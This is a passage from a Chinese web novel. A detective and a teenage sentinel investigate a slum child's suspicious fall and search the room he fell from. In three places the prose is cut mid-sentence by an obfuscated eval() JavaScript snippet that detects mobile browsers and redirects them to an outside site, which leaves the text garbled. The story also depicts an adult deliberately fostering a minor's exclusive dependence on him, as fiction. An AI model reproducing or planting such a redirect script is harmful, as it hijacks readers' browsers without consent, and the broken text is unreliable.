尼尔森:“……我是在给他施加心理压力。雾太大了,不然我早能搞定他了。” 偶遇是件令人高兴的事,但也是个不幸的巧合,就好像你被朋友撞见平地摔进路边水坑。不过至少他不用在雾里乱跑了。 尼尔森顺了下呼吸,理好衣领,用闲聊的从容岔开话题:“这种贫民区的事情不基本都是巡警在管吗?调查部有什么任务需要你和唐娜一起跑到这种破烂地方来?” 莱蒂斯早已不介意和尼尔森分享自己的任务,她指指身后的建筑:“又有哨兵突然暴走了,就在这儿,一共两个。他们表现出了超过评级的战斗力,但完全没有理智。” “哦,神游症重症患者?塔居然没把他们提前收治去监禁区,世风日下啊。” “很可惜,并不是。神游症严重到这个地步的哨兵很少,可最近各区警局接到了太多类似的报案,而且这些哨兵经过了极限的暴走后,神经却没遭受不可逆损伤。” “各分局的警察们都说,他们昏迷一阵后就恢复了,唯一消失的只有暴走期间的记忆……布列塔尼部长认为这很不正常,但她还受酒神节事件余波的影响……所以我们来调查了。” “圣卢塞特这鬼地方什么时候正常过。”尼尔森无所谓地耸耸肩,以看热闹的心态瞥了眼那栋楼房。由红砖与砂浆修的旧房子不算高,即使经过了改制,表面还是坑坑洼洼,遍布污渍和涂鸦,看起来没比塔用来关疯子哨兵的监禁区好到哪去。 “……”尼尔森突然顿了一下,“等会儿,你刚是从几楼翻出来的?” “三楼。” “……你真的不是外星人吗?你懂的,超人小时候也住农场。”体力不支的侦探拖着沉重的双腿走过去,把共享单车的锁给扣上,“谢了,这玩意收费可不便宜。” 他又低下头,把昏倒在地的偷车贼衣服扯开,从内衬里大方地摸走了所有的钞票。 莱蒂斯居高临下,在他身后散发出不赞同的情绪。 “怎么了?”尼尔森无辜地回头,“我不该把被扣的钱收回来吗?” “共享单车扣了你三百磅吗?” “……好吧,那我少拿点。”尼尔森装模作样地做了个把钱塞回去的动作,然后在莱蒂斯看不见的角度把所有纸钞折进自己手心,表情友善地对小姑娘笑笑,“好了,我会打电话让巡警把这家伙拖走的,你回去帮唐娜吧。” “你不会的。”莱蒂斯习以为常,并不买账。她从车顶跳下来,把偷车贼拖到人行道上,避免他被车碾成肉酱的命运:“唐娜已经搞定了,她很快也要下来。” “那看来这里也没我什么事了。不过既然在下班的点遇上了……嗯,莱蒂斯,你要来块巧克力吗?” 侦探像魔术似的一翻手,递出一块蜂蜜牛奶味的歌帝梵巧克力。那双带笑的眼睛在雾中亮起,洋溢着和巧克力包装相同的金色,活像个拐卖未成年的都市传说。 “这个吗……?”穿着黑外套和马丁靴的少女皱了下眉,突然散发出了小孩被追着喂蔬菜的情绪,“这个太甜了。” “所以才是练习的好素材啊。”尼尔森笑着把巧克力抛给莱蒂斯,“要是你能把自己的味觉调整到合适的阈值,吃出它本来的味道,那你的味觉控制就差不多能出师了。” “唔……” 莱蒂斯对一块巧克力如临大敌,最终还是撕开了包装,用力咬了一口。 这是她控制味觉的练习——尼尔森从盖比太太的奶油酥卷上汲取了灵感,接连四个月都时不时给她塞上点甜品和糖果,先用向导能力辅助她尝到味道,再让她自己调整味觉强度,直到能复原正确的甜味为止。 作为一个重罪向导,尼尔森相当满意自己这个点子。他可是第一个辅助莱蒂斯的向导,当然,他也会保证自己是唯一的那一个。 在帮助莱蒂斯调节味觉的同时,这这办法也能悄无声息地影响到莱蒂斯的潜意识,让她将自己与甜味产生的多巴胺联系起来。 换句话说,尼尔森想要做的,是让莱蒂斯在尝到甜味时,下意识地想起自己。 这听起来像是一个童话色彩的诅咒,糖果的外壳里裹着独占欲的毒药,但尼尔森从他们相遇的第二个夜晚就下定决心不会放开这个能与自己精神共鸣的哨兵,自然也不会放过任何哄骗莱蒂斯信任和依赖的机会。 当然了,这只是为了让她能够为他所用而已。 至于这浑浑噩噩好几年的侦探突然每周都溜达到出新品的烘焙店和甜品店里排队,乐此不疲地在超市里买各式各样的糖果,还乐呵呵地每天揣着巧克力到处乱跑这种事,早就被他精明地选择性无视了。 布列塔尼起初相当反对这件事。对直觉敏锐的她来说,尼尔森是迫不得已时才能信任的对象,她怎么可能把小莱蒂斯的辅佐和疏导交给这家伙来呢! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356946|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果她发现这情况还真是迫不得已。 彼时莱蒂斯还在火荆棘帮的安全屋里昏迷,尼尔森大喊出一句“她是哨兵,我是能和她精神共鸣的向导你快他妈住手我真的要死了你这过度保护的疯子”,从非洲象的踩踏下救回自己一命。 将信将疑的布列塔尼看着尼尔森牵起莱蒂斯的手,平复了她的梦魇,不得不很遗憾地承认尼尔森这个b竟然并不是为了活命随便扯了个谎。 “她……情况比较特殊,五感很强,但精神屏障特别厚。至于为什么,故事太长,等她醒了之后自己跟你讲吧。” 浑身淤青的尼尔森握着莱蒂斯的手坐倒在地上,对布列塔尼解释:“不过这也是为什么只有我能疏导她,要是没有精神共鸣,不可能有向导能穿过她的精神屏障。” “我明白了。”布列塔尼面带微笑。与此同时她在心里想道:得想办法把圣卢塞特大区的塔里坐镇的S级向导弄过来疏导小莱蒂斯,尼尔森,无论你再怎么强调自己不可替代,你不会真的以为我会把她再交给你这个让她伤得这么重的混账吧? “你没明白。”她还没开口,尼尔森就从她温柔的笑容中看出淋漓的杀意,“还有一件很重要的事情是:如果莱蒂斯解放了全部五感,那么她将是一个非常,非常强的哨兵。我不知道你是什么时候发现我是向导的,但至少在这件事上,你可以相信我的判断。” “仔细想想吧,布列塔尼。莱蒂斯之所以还能好好躺在这里接受你的探视,纯粹只是因为塔还不知道她是一个哨兵而已。” “如果塔知道了莱蒂斯真实的评级,那她会被立刻接到位于首都的塔的总部。” “她也许永远都不能从里面出来,也许下次出来时就会变成数一数二的将领。但无论如何,她都会孤身一人。而不管是你还是我,我们这辈子都别想再见到她。” “……” 布列塔尼的笑容没有变化,但尼尔森知道她动摇了。他们都知道塔从来不把共感者自身的意愿当回事。 而关于这一点,尼尔森还有一个更劲爆的杀器。 他说:“布列塔尼,你难道想让莱蒂斯被塔安排去相亲吗?” “……啊,你说这个,真是文雅的表述呢。”布列塔尼的笑容忽地加深了,但那危险的情绪显然不只是出于对相亲活动的厌烦——“不可能。嗯,我不会让小莱蒂斯去面对那群把共感者当宠物配种的人渣的。” 她散发的情感显示,她也是受过塔匹配部迫害的对象。 在向导被当作工具的年代,这个部门的本质和拉皮条无异,到了如今,他们又热衷于利用基因片段检测和相合性数据比对技术,为成年哨兵和向导——尤其是评级较高的那种——配对,力求双方能在结合后发挥出最大限度的能力。 有着这条冠冕堂皇的理由,他们连哨兵军官都能影响。 尽管这个部门并不在乎共感者们的想法,但他们现在采用的方式非常文明,仅仅是以数据比对为基础的强制相亲和同居。 这主要是因为他们当年直接诱发向导结合热的做法被首席柯林斯.弥斯给废除掉了,徒留结合热诱导剂依然在黑市里流行。 布列塔尼这种级别的哨兵本来早该被拉去配平了,但她没有。事实上,像她这种级别的哨兵也早该平步青云成为将领了,但她也没有。可布列塔尼就是布列塔尼,尼尔森一点都不想知道她是怎么摆脱塔的。 他只是想向她坦白:“我知道自己好不到哪去,我能从货轮活下来全靠莱蒂斯保护我,所以我甚至不敢许诺能保护好莱蒂斯……” “但我敢说我绝不会伤害她。这是塔不能给你的承诺,你我都心知肚明。” “好吧,尼尔森。我并不是相信你的许诺,只是我更不相信塔。”沉默半响,布列塔尼的语气放松了一些,“不过你应该感谢塔匹配部,要不是他们比你更不靠谱,我是打算过两天就把你沉进奎茵河里的呢。” “哈……我可一点不意外。”尼尔森干笑一声,可莱蒂斯又发出一声梦呓,让他忽然闭了嘴,只是看着莱蒂斯的睡颜。 “……” 平光镜遮掩了他的目光。布列塔尼猜他有七成是在演,但这下连她也看不出,这个男人究竟想了些什么。 57. 第五十六章 “巧克力味道怎么样?”尼尔森问,“不太顺利吗?我感觉到你有点……挣扎?” “……还术太天了(还是太甜了)。”大雾天里,莱蒂斯靠在墙边,姿势酷得像个黑手党,可惜嘴里正在融化的巧克力让她口齿不清,呼吸里也有可可的香甜,“我觉得这不术我味觉的问题,你术不术在故意买了很甜的巧科腻(我觉得这不是我味觉的问题,你是不是故意买了很甜的巧克力)。” 尼尔森辩解:“这可是我用心挑的,我自己还舍不得吃呢。向导们都是甜食的专家,因为甜味激发的正向情感会让我们感到放松,你得相信我的品味。” 这话是真的,尼尔森从小就喜欢甜的东西,同龄人叼着烟装逼的时候,他嘴里那根棍儿是草莓味棒棒糖。对啤酒的嗜好是进了监狱岛后才养成的习惯,现在的他不再需要振奋的情绪,他需要麻痹。 也正因如此,自诩甜品专家的尼尔森非常清楚,蜂蜜牛奶的歌帝梵确实是一款偏甜的巧克力。市面上哨兵特供的糖果甜度低了几倍不止,莱蒂斯天赋异禀,味觉早就能够适应这些糖果了,但尼尔森有自己的打算—— 他以邀请的姿势向莱蒂斯伸出手,微笑得温柔:“把手给我吧,我来帮你调节。” 布列塔尼的担心当然是对的,尼尔森有自己的目的。过甜的巧克力换来的是牵手与精神共鸣的机会,而尼尔森已经断绝了莱蒂斯拥有其他向导的可能性,他相信她会渐渐开始依赖他。 只依赖他。 说服布列塔尼不对外公布莱蒂斯的哨兵身份正是为了这个。布列塔尼对塔匹配部深恶痛绝,潜意识里就充满抗拒,而她恰好又是一个过度保护的好姐姐,所以尼尔森非常自信,自己只要提到塔匹配部的“相亲”,布列塔尼就会放弃在塔中为莱蒂斯寻找其他向导的想法。 可事实上,并不是所有共感者都会被匹配部控制。被布列塔尼忽视的例子就在布列塔尼的身边——就在共感者调查部里。 这部门里的所有人员都是单身的共感者,或者说,都是一群在大众眼里莫名其妙的怪胎。 布列塔尼本人自不用说,但那对双胞胎之间没有任何人能插足,那个精神动物是蝾螈的向导唯一的作用就是让哨兵失去斗志,而罗德瑞克,他是个护卫,塔从不在乎护卫。 至于唐娜,塔匹配部给这个评级为A的向导安排过一次号称匹配度89%的“相亲”。 与她见面后,那哨兵浑浑噩噩了一整周,清醒后说自己上周在类地行星的环形山里和一顶帽子一起烤棉花糖。 “莱蒂斯,我下来咯——”一个懒洋洋的声音在公寓门口响起,“久等啦——把他们捆起来花了我一点时间,他们身上有蛛网,很黏手——” 唐娜.舒芙特从贫民区的公寓里走出来,她有一头蓬松的淡金色卷发,身形并不清瘦,但总给人一种轻飘飘的感觉。她的表情看起来永远睡眼惺忪,好像正在梦境中漫游。 这是一个很有松弛感的年轻人,如果忽视她手中的麻绳和麻绳另一端绑着的两个哨兵的话。 刚刚还在暴走的哨兵们被手铐铐住,身上也捆得严严实实。他们都失去了意识,脸朝下趴在地面,唐娜单手拽着他们在地面拖行,从三楼到一楼,也不知道他们脸上的淤青是莱蒂斯揍的还是在楼梯上磕的。 她对莱蒂斯挥着手,走近了才看见浓雾中的尼尔森,忽然露出不太开心的表情,好像漂浮着的自己突然掉到了地上: “克里森,怎么是你?” “你好啊,唐娜,好久不见。”尼尔森丝毫不介意她的厌恶,“还行,我名字里一共三个音节,起码你喊对了最后一个。” 他已经见怪不怪了。唐娜.舒芙特只记得住调查部成员的名字。她是一个沉浸在自己世界的人,不太关注周围环境,所以总是飘飘忽忽的。 也许“相亲”时,她眼中的世界真的在类地行星的环形山上,有一顶帽子和烤棉花糖。那哨兵急功近利,对她伸出了精神触须,然后喜提一周梦游。塔匹配部不敢再冒风险,这才把她下放圣卢塞特。 “你为什么在这里?你——在谋划什么?你总是在谋划什么……”唐娜审视着尼尔森,有时,她能从自己的角度看到一些不易察觉的东西。 尼尔森一脸无语,直接开摆:“啊对对对,我在谋划抢银行,炸大楼,然后把你们总局给烧成灰——别对我有这么大偏见,我只是恰好遇上了莱蒂斯,在和她聊天而已。” “不。你在笼子里,你的心脏里流出巧克力。你想拥有星星,但其实你亦害怕自己迷失在星空。你这被封在迷宫中的怪物,你给了莱蒂斯什么——?” “他给了我特别甜的巧克力,我想那是你们向导喜欢的味道,但我不太适应。“莱蒂斯大部分时间都听不太懂唐娜说的话,只是像同龄的孩子一样抱怨了一句,吐了下舌头以缓解萦绕的甜味。 尼尔森的手空落落地在雾中悬了很久,她向尼尔森伸手,却是轻轻把他推开了:“不用帮忙,虽然很甜,但我自己能调整过来的。” 所以太倔太好强的小姑娘就是这一点不太好搞定啊。尼尔森不动声色地把手收回:“好吧,接下来呢?你是要跟唐娜一起回警局把这俩倒霉蛋关起来,还是直接下班?” “回警局,得开车把这两个哨兵送回去拘留。” 尼尔森眉头一皱:“……车?” 见莱蒂斯并没有回应尼尔森的邀请,唐娜又恢复了半梦半醒的表情:“当然是车,开车二十分钟,走路要两个小时——尼斯特,除非我们通过环形山的传送口过来,否则根本来不及抓到这两个哨兵——” “很好,这次对的是第一个音。”尼尔森嘴角抽了一下,抬手打断唐娜,“但你根本不能开车,你总是在看什么蛛网星星环形山,压根搞不清楚路况……所以车是莱蒂斯开的?” “对。”莱蒂斯身上冒出一点微妙的开心,像是幼狼悄悄甩了两下尾巴,“我已经和唐娜小姐搭档出了好几次外勤了。” 她听上去对帮上朋友相当自豪。 但尼尔森注意到了真正的问题:“不对吧,真是你?你这年龄还不能考驾照啊?” “我不需要驾照,我会开。“莱蒂斯说,“农场的拖拉机比汽车复杂多了,我十岁的时候就学会了。” “难道就没有警察查过你驾照……哦你就是警察……算了。”尼尔森吐槽到一半噎了一下,想起布列塔尼早把莱蒂斯以实习警员的身份留下来了,“我正好也跑累了,要不你也顺便载我——” “怦——!” 话音未落,一声巨响突然在浓雾深处炸开,不详而干脆,像是下落的断头台一样斩断了一切声音。 尼尔森止住话头,唐娜睁开眼睛,而莱蒂斯猛地看向左侧的巷子,瞬间解开了听力屏障。 嘈杂的声响冲击着她的听觉,但她已经学会将它们摈弃。 她听见了—— “两个街区外,右拐两百米,有重物落地……不对,这是——” 少女神色专注地喃喃着,突然面色一凛,抓起还没缓过劲来的尼尔森,对唐娜道: “唐娜小姐,我和尼尔森先过去!你先把那两个哨兵关到车上去!” “等一下,关我什么事,为什么我要去!喂,莱蒂斯!你听见了什么?” “?当然是因为你是和我搭档的向导。” 在尼尔森茫然的喊声中,莱蒂斯理所当然地将他一把扛起,冲向进小巷。 在不远的街道上,她听见了沉重的闷响,皲裂的声音,还有刺耳的尖叫。 巷子尽头,雾气开始翻腾。 那是一个男孩。 他有着浅绿色的眼睛,里面尚能看出活泼与天真,面容漂亮又稚气,橘红色短发像是太阳一样温暖。尽管肤色正在迅速暗淡下去,但脸上干净的笑容让他在此时依然显得像一个灵动的天使。 他的生活似乎并不富裕,话又说回来,这街区里有谁是富裕的呢?深冬的傍晚,他只套着一件不太合身的T恤和洗得发白的牛仔背带裤。现在,鲜血正浸满那廉价的布料,红得发黑的色彩如同被火焰焚烧。 他仰面躺在地上,折断的双腿对着旧公寓的出口。他头部外伤出血,腹部脏器破裂,粉碎性骨折让无数断裂的骨头扎进他的身体,造成无可救药的大出血。高空坠落的人内伤往往比外伤严重,但他折断的颈部只是远看一眼就足够触目惊心。 有人事不关己地路过,有人发出了尖叫,然后人群穿过雾气聚过来,聚在这栋随处可见的破旧砖楼下。 “跳楼?自杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356947|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?哎哟,这完全死透了啊。” “就这事儿?围这么多人,我还以为怎么了呢。” “啧,脏死了,这滩血不知道什么时候才有人收拾。隔壁那栋楼后巷因为黑手党械斗死了人,现在那股臭味都快腌入味了。” “喂,没人认识这小子吗?长得挺好的,可惜了。” “对啊,这也太稀碎了,可能只剩眼角膜能回收利用了。” 他们围成一圈议论起来,有人掏出手机拍照,有人开了直播,有大胆的人凑近过去,拔出把刀对准男孩的眼睛,但没人报警。 雾中的旧楼像一块是巨大而千疮百孔的墓碑,沉默地注视着一切。闪光灯在雾里不断闪现,如同怪物不断开合的双眼。 莱蒂斯赶到时,看到的就是这样的场景。 她冲上前去,抓起一个直播的男人将他狠狠甩出去,在人群中强行撕开一个口子,又一脚踹飞了凑在男孩面前的家伙。他像被卡车撞飞一样腾空而起,重重砸在墙上,咳出一口血。 少女深深地呼吸着,她抬起头,愤怒地看向噤声的人群。那双绿色的眼睛像狼一样危险,人们感到惊讶,恼怒,莫名其妙,但在这之上,是压倒一切的畏惧。 “嘿,让一让,别挡路。” 被扔在后面的尼尔森拨开吓呆的人们,淡定地走到莱蒂斯身边,金色的眼睛里带着笑意:“放松点嘛,怎么气氛这么紧张呢?我们也不会做什么,你们要继续在这里看着,还是赶紧滚,那都是你们的自由。但谁要是再敢靠过来……” 他一指旁边昏过去的两个男人:“她今天已经敲晕五个人了,你们谁要是想成为第六个,我不介意。” 说完,他保持着对峙的神色,压低声音,轻声问:“你还好吗?” 这话是说给莱蒂斯听的,他知道她不太好。 血的味道很早就升腾起来,连他都闻得到。死亡像一圈圈的波纹在城市中荡漾散开,莱蒂斯在赶来路上就意识到了它的存在。她听见那血泊之中寂静无声——死者在落地瞬间就没了心跳。 她心情沉重,只是一直抑制着,但当亲眼看见那群看客和那具凄惨无助的尸体时,痛苦、心碎、悲哀和愤恨还是爆发了。 巨浪般的负面情感通过共鸣传来,尼尔森脑子嗡嗡直响,但他也注意到莱蒂斯的手已经握成拳头。 他知道为什么莱蒂斯难以接受。 那男孩实在是太年轻了。 他才多大,十岁?最多不过十二。他还处在只能被称作孩子的年纪,他的人生才刚刚开始,却就这么摔碎在地上。 就像陨星坠落,只在天空留下转瞬即逝的一道光辉。 莱蒂斯已经不是第一次面对尸体,但面对生命的逝去,她依然保持着鲜活的痛心和愤怒。 她应该是想把这群看热闹的家伙统统砸进地里,尼尔森不知道她能不能把这情绪压下去,所幸和在酒神节时一样,他还在她身边。 然而莱蒂斯握紧的拳头颤抖着,却始终没有挥出。她背过身,挡住看客的视线,看向男孩的尸体。 “我……没事。”她小声回应,理智和一种强烈的执着令她从情绪中挣脱出来,“我知道的,如果忽视这孩子,把时间浪费在那群人身上,才是对他的不尊重。” 少女冷声道:“先报警,尼尔森。让这个片区的警察把这孩子带到停尸房保护好。然后,我们要开始调查了。” “过来的路上,我一直在监听这栋楼出入口的动静,没有听见有人逃走或离开的声音。可惜没到现场前,我不知道他具体是从多高坠落的,没能定位到具体楼层。” “总之如果要找嫌疑人,现在还来得及……” 她抬起眼来,和尼尔森对上视线,目光已经恢复了冷静:“你也看得出来吧,虽然跳楼是很常见的自杀方式,但他很可能…根本就不是自杀的。” 尼尔森明白她的意思。他掏出手机报警,顺便瞥了眼那具尸体。 男孩仰面躺在地上,头部在靠近马路的外侧,双腿指向公寓楼。 尼尔森和莱蒂斯都一眼就看出来了—— 这意味着在他坠楼前,他是背对窗户,面朝房间的。 那么,那个时候,房间里有什么……或者说,这孩子正在面对什么呢? 58. 第五十七章 “怎么样?” “楼道和楼顶都没有其他人活动的声音。我觉得嫌疑人可能躲在进了住户的家里,范围不会太大,不是坠楼这层就是下面一层,要搜的话很容易。” “先别急着去踢门啊。这地方鱼龙混杂,万一你开出来一窝小混混的话有我们受的。而且他杀只是一种概率较大的猜测,我们第一步肯定还是要去坠楼的那间房子里看看的。你——” “我知道,我也没想先去别的地方……侦查的第一准则是不可以先入为主,而侦查的第一步永远是案发现场,布列塔尼部长已经教过我了。”莱蒂斯闷闷地说。她的声音很小,破公寓楼的声控灯捕捉不到,自顾自地灭了。 灰蒙蒙的走道里传来她的叹息:“我只是……” “你只是不相信一个这么小的孩子真的会自杀。我明白。”尼尔森从后面跟上来,他爬楼梯不比小姑娘灵活,被硬生生甩了一整层楼。 “但这里是圣卢塞特,莱蒂斯。等你再待上半年,应该就能适应这种事了。” 他抬手按在莱蒂斯肩膀。比起酒神节时,她已经学会不再凭冲动行事,但她毫无疑问还是难过的。 她不会适应的这些事的,所有人都心知肚明。布列塔尼提出过要将她送回乡下的塔,但她不愿意,她说酒神节的事情还没有结束。 尼尔森倒是很支持她留下。他打了个响指,声控灯应声亮起,将灯泡上的污渍投影到墙上。 他们面前是一扇木质的旧门。 “我去撬,还是你直接踹开?” 这里是八楼,这栋破公寓的最高层。 那男孩就是从这扇门后坠楼的。 公寓楼下,人群依然没有散去。这里的人不怕尸体,不是对它视若无睹,就是对它虎视眈眈。 莱蒂斯在围观的人里看见了脏兮兮的流浪汉,戴着金链子的混混和戴着头盔的飞车党。光鲜亮丽的博主正在编辑ins,一个年纪比死者稍微大一些的少年一头红发,似是漠然地嚼着泡泡糖,也有相同年龄的女孩好奇地张望着血流的痕迹,没有大人来带走他。 不同的人似乎都能从一具死尸上找到不同的价值,尽管他们不会多给活人一个眼神。 在检查男孩的随身物品并一无所获后,她和尼尔森在这里守了接近十分钟。 尽管心急如焚,她也不敢轻易离开。人群就像鬣狗垂涎着那具无声息的躯体,她想象不出他们会做什么,而尼尔森喊她最好别去想。 然后雾气忽然开始涌动,从中似乎凝结出了什么不详的影子。人们不由自主向后退了一步,猛然看见大王酸碱鱿的巨大的眼球自惨白的浓雾中亮起! 那是自然界中动物所能拥有的最大的眼睛,直径数十厘米凸起晶状体上,细长的瞳孔带着怪异的光梭巡,带来一种让人沉入海底的压迫感。有人摔倒了,更多的则呆在原地,生怕自己的动作会引来那眼球的视线。 “莱蒂斯,我来咯。你们跑得好快啊,我差点没找到——” 唐娜从雾中走出,大王酸浆鱿随着她慢悠悠的脚步腾空而起,匹敌小型巴士的体型在空中打圈,粗壮的触腕在雾中蠕动着,没人敢靠近。也许有人知道这动物战斗力其实不太行,只能捕食小型生物,大脑还非常迷你,但在亲眼见到这深海怪物庞大体型的瞬间,那常识多半也都和他们的理智一起烟消云散了。 莱蒂斯眼睛却一下子亮了:“唐娜小姐,你怎么过来了?” “我感觉到你很不安。放心,那两个哨兵已经在车后备箱里了。”唐娜露出个轻飘飘的笑来,大王鱿的触腕轻轻抚过小姑娘头顶,“虽然隔了很远,但我看见星星暗淡了——” “挺好,来得正好。”尼尔森拍拍手打断她,他不打算吐槽把人塞后备箱的事情了,“来帮忙看下小孩,啊对,就是地上死了的那个。法医和警察可能还有一会儿才到,现在这群人里已经有一半被你吓得想跑了,剩下另一半你再努力一下。” 大王酸浆鱿的眼睛瞪了过来,唐娜说:“尼可拉特斯拉,你开玩笑的样子像蓝浆果里的蝎子一样令人讨厌……” “我已经完全不知道你在喊谁了,就当骂的不是我吧,哎呀——” “拜托了,唐娜小姐。”莱蒂斯把尼尔森拽到一边,正色道,“这孩子可能不是跳楼自杀的。嫌疑人说不定还在楼里,我们得抓紧时间进去……在片区警察来之前,我可以把他交给你吗?” “没问题哦。”唐娜点点头。她不是个对周围很敏感的人,连黑手党的火拼都不一定能吸引她的注意力,但面对这样一具瘦小的尸体,她也还是生出了责任感来。 她很高兴莱蒂斯和自己有着相同的感觉。 “去吧,莱蒂斯。如果有人出来的话,我会把他拦下来的——” 唐娜说着,大王酸浆鱿的眼睛亮起更加可怖的光,但她的内心却是柔软的。 就在刚刚,她感知到了莱蒂斯因为自己的出现而产生了喜悦和安心。她是一个飘忽,沉浸在自己世界的向导,也许并不那么可靠,但莱蒂斯毫无保留地信任着自己——这才是她这么快将莱蒂斯接纳为共感者调查部一员,记住她名字真正的原因。 要是她能不那么信任尼尔森就好了……那家伙到底是从什么时候开始骗到她的? 棉花糖一样的向导遗憾地想。她慢慢地在马路边坐下来,回到她脑子里的彩虹瀑布边。大王鱿猛地窜到那个带金链子的混混面前,吓得他连滚带爬地跑走了。 这是一个孩子的房间。 尼尔森敲撬开门锁,伴随着吱呀声推开了门。他走进去,踢到了一辆塑料小车。 门后是间客厅改成的居室,意外的不小。草草漆过的墙面上累积着污渍,钉上去了一些柜子和架子。 桌椅陈旧,地板也一股霉味。一盏电灯散发着羸弱的光,但房间却给人一种在努力明亮起来的感觉。 墙上有卡通贴纸,沙发上有几个旧旧的毛绒玩偶,一张床垫铺在地上,上面堆着彩色印花的被子。地上放着很多玩具,但都沿着墙摆得整齐。一张格格不入的大桌子占据了地面的另一半空间,上面摆着纸、蜡笔和书,还散落着一些零食包装,鲜艳的颜色像一桌彩虹糖。 沙发旁有一扇紧闭的房门,唯一一扇窗户则大开着。外面的浓雾里隐约可见路灯的光线,像是酸奶里没有搅拌开的糖浆。那孩子掉下去的时候害怕吗?还是只当自己跌入了一份甜品里。 “我没有闻到有外人进来过的味道……或许是气味阻隔剂?”莱蒂斯皱着眉跟了进来,冬日的空气涌入这本就单薄的空间,呼吸起来如死亡般冰冷。 尼尔森已经走向前去查看书桌,她却忽然止住脚步,闭上眼睛,嗅了嗅房间里的气味,然后搬开了沙发。 在沙发背面,她取下了一块木板。木板后是一个从沙发里掏空出的空间,很扁平,但几乎有沙发底座那么宽,不过里面什么都没有。 可是…… “这里面为什么会有药的味道?” 莱蒂斯的声音冷得像刀。她站起来,打开取下墙上的一个隔板,手指按在最短的那边上,用力一推,像是打开滑盖一样打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356948|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了它。药味漂浮出来,但里面依然什么都没有。 “什么样的味道?很淡还是很明显?” “很淡,几乎要没有了,感觉已经过去很久了。但这些地方肯定都存放过药,而且恐怕不少。” “那就和我想得一样,这里以前是药贩子的地盘。”尼尔森耸耸肩,拉开书桌的一个抽屉,然后熟练地按住下方的一角,咔咔掰了几下,弹出个暗格来,“这里面也有味道,对不对?” “对,但是为什么你会……?” “再往前数个十年,十个药贩子的房间有九个都长这样。他们会租这种贫民区的破房子当储藏室,在一切你想不到的地方挖出空当,然后把药或者结合热诱导剂藏在里面。这地方平时不住人,有交易了,他们才会来这里取货带出去卖。” “只有哨兵们才能一眼识破这种把戏,但共感者一般很少被派去管辖贫民区。普通警察又猜不出这些千奇百怪狡兔三窟的藏匿地点,所以这方法流行过一阵。不过后来警方经验丰富了,一眼就能看出套路,这些办法也就没用了。” “现在这些房间就和普通房间一样出租,附带一些有暗格但无伤大雅的家具,只不过会来这种地方租房的人都太穷了,不管家具里放过什么,都绝不会把它们扔掉了……别那么怀疑地看着我啊莱蒂斯!我只是曾经租到过而已,有次发现有蟑螂从书桌里爬出来,一天一夜没合眼才研究出了怎么打开这啥b暗格。” “……你还从来没告诉我你以前是做什么的。”莱蒂斯把隔板放回架子上,目光却还看着尼尔森,“你为什么会知道这么多?又为什么会变成现在这种不能使用能力的样子?” “我不觉得现在是聊这个的好时候,还是说比起楼下那个小孩的事,你更关心我?”尼尔森发现她那种执着的劲儿又上来了,心里一慌,表面却从容地一挑眉,从桌上拿起一本书扔给莱蒂斯,“这个你看了吗?” “别转移话题,我不会再……唔……”莱蒂斯瞥了眼书本的封面,却愣住了。 “《巴巴家族》?” “对,小时候你也看过吧。” “也许吧,我有点不太记得了,这不是早教书吗?” “是啊,这是早教书,适龄儿童大概0-3岁吧,你没有那个时候的具体记忆很正常。”尼尔森说着,推了一下平光眼镜,“只不过,那个小孩虽然年纪不大,但再怎么也不是看这书的年纪吧?” “……” 莱蒂斯将书搁在沙发上。随着尼尔森的提问,她开始在这个破旧但温馨的房间中感觉到一种违和感。 “我觉得不太对劲……先去另一个房间看看吧。我听过了,里面也没有人。” 莱蒂斯抓住沙发边那扇门的把手,按了按,却发现它上了锁。 尼尔森凑过来,袖子里划出开锁小工具:“哟,更不对劲了,都一个屋了,为什么这扇门要上锁?” “嗯。” 莱蒂斯屏息凝神地看他撬锁,不自觉地把听力集中在了房间之中,等待着房间开启,然而—— “哒哒哒哒……” 就在这时,门外突然传来了一阵脚步声,像是凌乱的鼓点一样在纸糊似的隔音墙外响起,甚至不需要解开听力屏障都能听得一清二楚。 莱蒂斯和尼尔森同时抬头看向门口,只见一对穿着警服的一男一女冲上了第八层。 诡异的对视和一秒的停顿后,那女人突然笑了起来,对莱蒂斯道: “呀,这不是我们大功臣布列塔尼手下的人吗?怎么在这里遇上啦?” 59. 第五十八章 面对眼前大腹便便的中年男警和看似热情的女警,莱蒂斯果断看向了尼尔森。 她认真地问:“为什么她会想不到这里有布列塔尼部长的组员,唐娜小姐不就在楼下吗?” 因为这女的是在阴阳你啊……尼尔森想,然后他和颜悦色地告诉莱蒂斯:“因为她是傻哔。” “哦。”莱蒂斯被说服了。她了然地点点头,转向突然闯入现场的两人:“请问你们是?” “啧。” 